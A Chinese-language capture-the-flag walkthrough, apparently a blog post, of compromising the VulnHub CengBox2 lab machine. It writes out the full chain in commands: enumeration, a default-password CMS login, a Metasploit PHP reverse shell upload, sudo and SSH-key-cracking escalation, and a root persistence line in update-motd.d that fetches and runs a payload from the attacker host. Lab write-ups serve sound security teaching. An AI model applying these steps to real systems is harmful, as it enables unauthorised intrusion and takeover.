本文首發於微信公眾號:VulnHub CengBox2靶機滲透,未經授權,禁止轉載。
難度評級:☆☆☆☆
官網地址:https://download.vulnhub.com/cengbox/CengBox2.ova
天翼雲盤:https://cloud.189.cn/t/nq6r6jQVRZBz
百度網盤:https://pan.baidu.com/s/1EMIZg3x2ebqOdRmif4O2Jg 提取碼:gt6g
官網簡介:Ceng Company似乎正在維護,但仍可能執行著某些業務
滲透目標:獲取普通使用者以及root使用者許可權
本機地址:192.168.110.27
靶機地址:192.168.110.30, 192.168.110.32
資訊收集
老規矩,還是nmap開路。
nmap 192.168.110.0/24
掃描結果顯示共開啟了3個埠,分別執行著FTP、SSH和HTTP服務。一般來說,漏洞出現在HTTP服務的可能性最大,首先看看網站有什麼敏感資訊。
顯示網站正在維護,原始碼中也沒有提供任何有用的資訊。那麼就需要使用dirb掃描網頁目錄了。
dirb 192.168.110.30
只掃到了兩個頁面,index.html很明顯是剛才訪問的主頁,而server-status是不可能有許可權訪問的,也就是說,dirb沒有掃出有用資訊。
既然80埠找不到突破點,那麼看看FTP服務可不可以匿名登入。
ftp 192.168.110.30
可以匿名登入,檢視一下ftp目錄下有什麼敏感檔案。
ls
有一個名為note.txt的檔案,不管三七二十一,先下載下來再說。
get note.txt
下載完成,檢視檔案內容。
檔案內容提示Aaron用預設密碼初始化了Kevin的賬號,並且把站點轉移到了ceng-company.vm域下。猜測通過域名和IP訪問網站的相應結果不同。
修改hosts檔案,把ceng-company.vm定向到192.168.110.30。
sudo vim /etc/hosts
接下來使用瀏覽器訪問ceng-company.vm看看是否有不同的返回結果。
很遺憾,還是之前的頁面。再次使用dirb掃描看看。
依然沒有有用的資訊,不過既然靶機作者給出了提示,那麼突破點就應該在網頁上。
考慮到ceng-company.vm是一級域名,而絕大多數網站都是通過二級域名訪問的,例如www.sogou.com、blog.csdn.net等。因此考慮在ceng-company.vm前加上字首,組成二級域名,看網站是否有不同的響應。
vim /etc/hosts
這裡新增了www、bbs、login、admin和blog這幾個常見的字首。經過測試,admin.ceng-company.vm會顯示禁止訪問,而其他二級域名則顯示與ceng-company.vm一樣的結果。
admin.ceng-company.vm一定有貓膩,再次使用dirb掃描。
dirb http://admin.ceng-company.vm
這次的結果更慘,只掃到一個頁面。雖然沒有掃描出什麼結果,但admin.ceng-company一定是靶機的突破口,應該是dirb預設的字典不夠大才無法掃描到有用的結果。
結合以前使用dirbuster需要一個小時才能掃描完成的經歷,將預設字典換成dirbuster的字典再次嘗試,由於dirbuster的自帶的字典過於龐大,需要使用-w引數才能正常使用。
dirb http://admin.ceng-company.vm /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -w
功夫不負有心人,經過漫長的等待,終於發現了一個可以訪問的目錄。
網頁端檢視該目錄,發現是一個CMS。
點選網頁的所有連結發現沒有有用的資訊後,嘗試訪問login頁面。
由於note.txt中給出了提示,Kevin的賬號是使用預設密碼初始化的,嘗試E-mail為kevin@ceng-company.vm,密碼為admin登入。
登入成功後網頁又跳轉到初始頁面,那麼就試試admin頁面。
檢視頁面內容後發現Content -> File Manager可以上傳檔案。
通過這個頁面應該可以上傳PHP木馬,接下來需要配合msf等工具生成PHP木馬,並獲取靶機的遠端shell。
漏洞利用
首先需要使用msf生成PHP木馬。
msfconsole
use multi/script/web_delivery
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.110.27
set target PHP
run
這幾條命令將會生成shell命令,複製eval部分內容儲存成php指令碼檔案,然後上傳到靶機上。
顯示上傳成功,但是在網頁端並沒有檢視到shell.sh,可能被伺服器過濾了。接下來嘗試上傳到tmp目錄。
上傳成功,訪問admin.ceng-company.vm/gila/tmp/shell.php。
顯示禁止訪問,這應該與.htaccess檔案有關,開啟.htaccess,重新命名為.htaccess.bak。
闖大禍了,修改檔名之後所有的頁面都不可訪問,這下徹底沒有辦法了。由於沒有對靶機做備份,需要重新匯入ova檔案,靶機的IP更新為192.168.110.32。
這裡的原因是刪除了根目錄下的.htaccess,本來只需要刪除tmp下的.htaccess檔案即可。
將其重新命名為.htaccess.bak。
然後再訪問admin.ceng-company.vm/gila/tmp/shell.php。
msf成功獲取靶機shell。
sessions l
sessions -i 1
shell
將不好用的shell改為bash。
whereis python
系統中安裝了python2.7和python3.5。
python3.5 -c 'import pty; pty.spawn("/bin/bash")'
許可權提升
切換到家目錄檢視有哪些使用者。
cd /home
dir
其中無法進入mitnick目錄,可以進入swartz目錄。
檢視當前目錄下有沒有可以利用的檔案。
ls -l
檢視檔案內容。
cat runphp.sh
該檔案的功能為互動式執行php,檢視是否可以以swartz許可權執行該指令碼。
sudo -l
果然,是可以免密碼以swartz許可權執行runphp.sh的。
sudo -u swartz ./runphp.sh
需要注意引數,./runphp.sh和/home/swartz/runphp.sh都可以,但是不能直接使用檔名,否則還是需要輸入密碼。
接下來使用互動式php獲取swartz的shell。
pcntl_exec('/bin/bash');
再次嘗試進入mitnick家目錄。
成功進入,檢視該目錄下有無提示。
ls -la
有一個名為user.txt的檔案,但是沒有任何許可權,很明顯,這是在提示需要提權到mitnick使用者才能進入下一步。
查詢一下有什麼檔案可以以mitnick或root許可權執行。
sudo -l
很遺憾,需要密碼。這時候注意到mitnick家目錄下有.ssh資料夾,進入資料夾檢視。
檢視id_rsa。
接下來嘗試使用John the Rapper暴力破解密碼。
nc -lvvp 31337 < id_rsa
nc 192.168.110.32 31337 > mitnick.key
將mitnick.key轉換成john可識別的檔案。
/usr/share/john/ssh2john.py mitnick.key > mitnick.john
cat mitnick.john
使用John the Rapper暴力破解。
locate rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt mitnick.john
幾秒鐘就將密碼爆破出來了。接著使用mitnick.key登入靶機。
ssh -i mitnick.key mitnick@ceng-company.vm
無法登入,原因是mitnick.key許可權為644,需要改成600才能登入。
chmod 600 mitnick.key
ssh -i mitnick.key mitnick@ceng-company.vm
檢視user.txt
cat user.txt
第一個flag已經拿到。現在需要提權到root,首先查詢有哪些可以利用的檔案。
find / -type f -perm -g+rwx 2>/dev/null
update-motd.d資料夾下的指令碼會在使用者通過SSH登入時由root執行,主要的作用是在登入時顯示訊息。既然有寫許可權,那麼進行反彈shell。
使用msf生成反彈shell指令碼。
use multi/script/web_delivery
set payload linux/x86/shell_reverse_tcp
set LHOST 192.168.110.27
set target Linux
run
執行之後將會生成一個wget命令。
將該命令寫進指令碼並設定可執行許可權。
- echo "wget -qO gA5sN4z7 --no-check-certificate http://192.168.110.27:8080/kVEbfSR4mAORkbG; chmod +x gA5sN4z7; ./gA5sN4z7& disown" > rootShell.sh
-
- chmod 777 rootShell.sh
最後將rootShell.sh寫進00-header。
echo "sh /home/mitnick/rootShell.sh" >> /etc/update-motd.d/00-header
登出SSH會話,重新連線。
exit
ssh -i mitnick.key mitnick@192.168.110.32
此時msf已經成功獲取shell。
sessions -l
sessions -i 1
檢查許可權,切換成bash。
id
python3.5 -c 'import pty; pty.spawn("/bin/bash")'
查詢flag。
cd /root
ls
cat root.txt
至此,對靶機的滲透已經全部完成。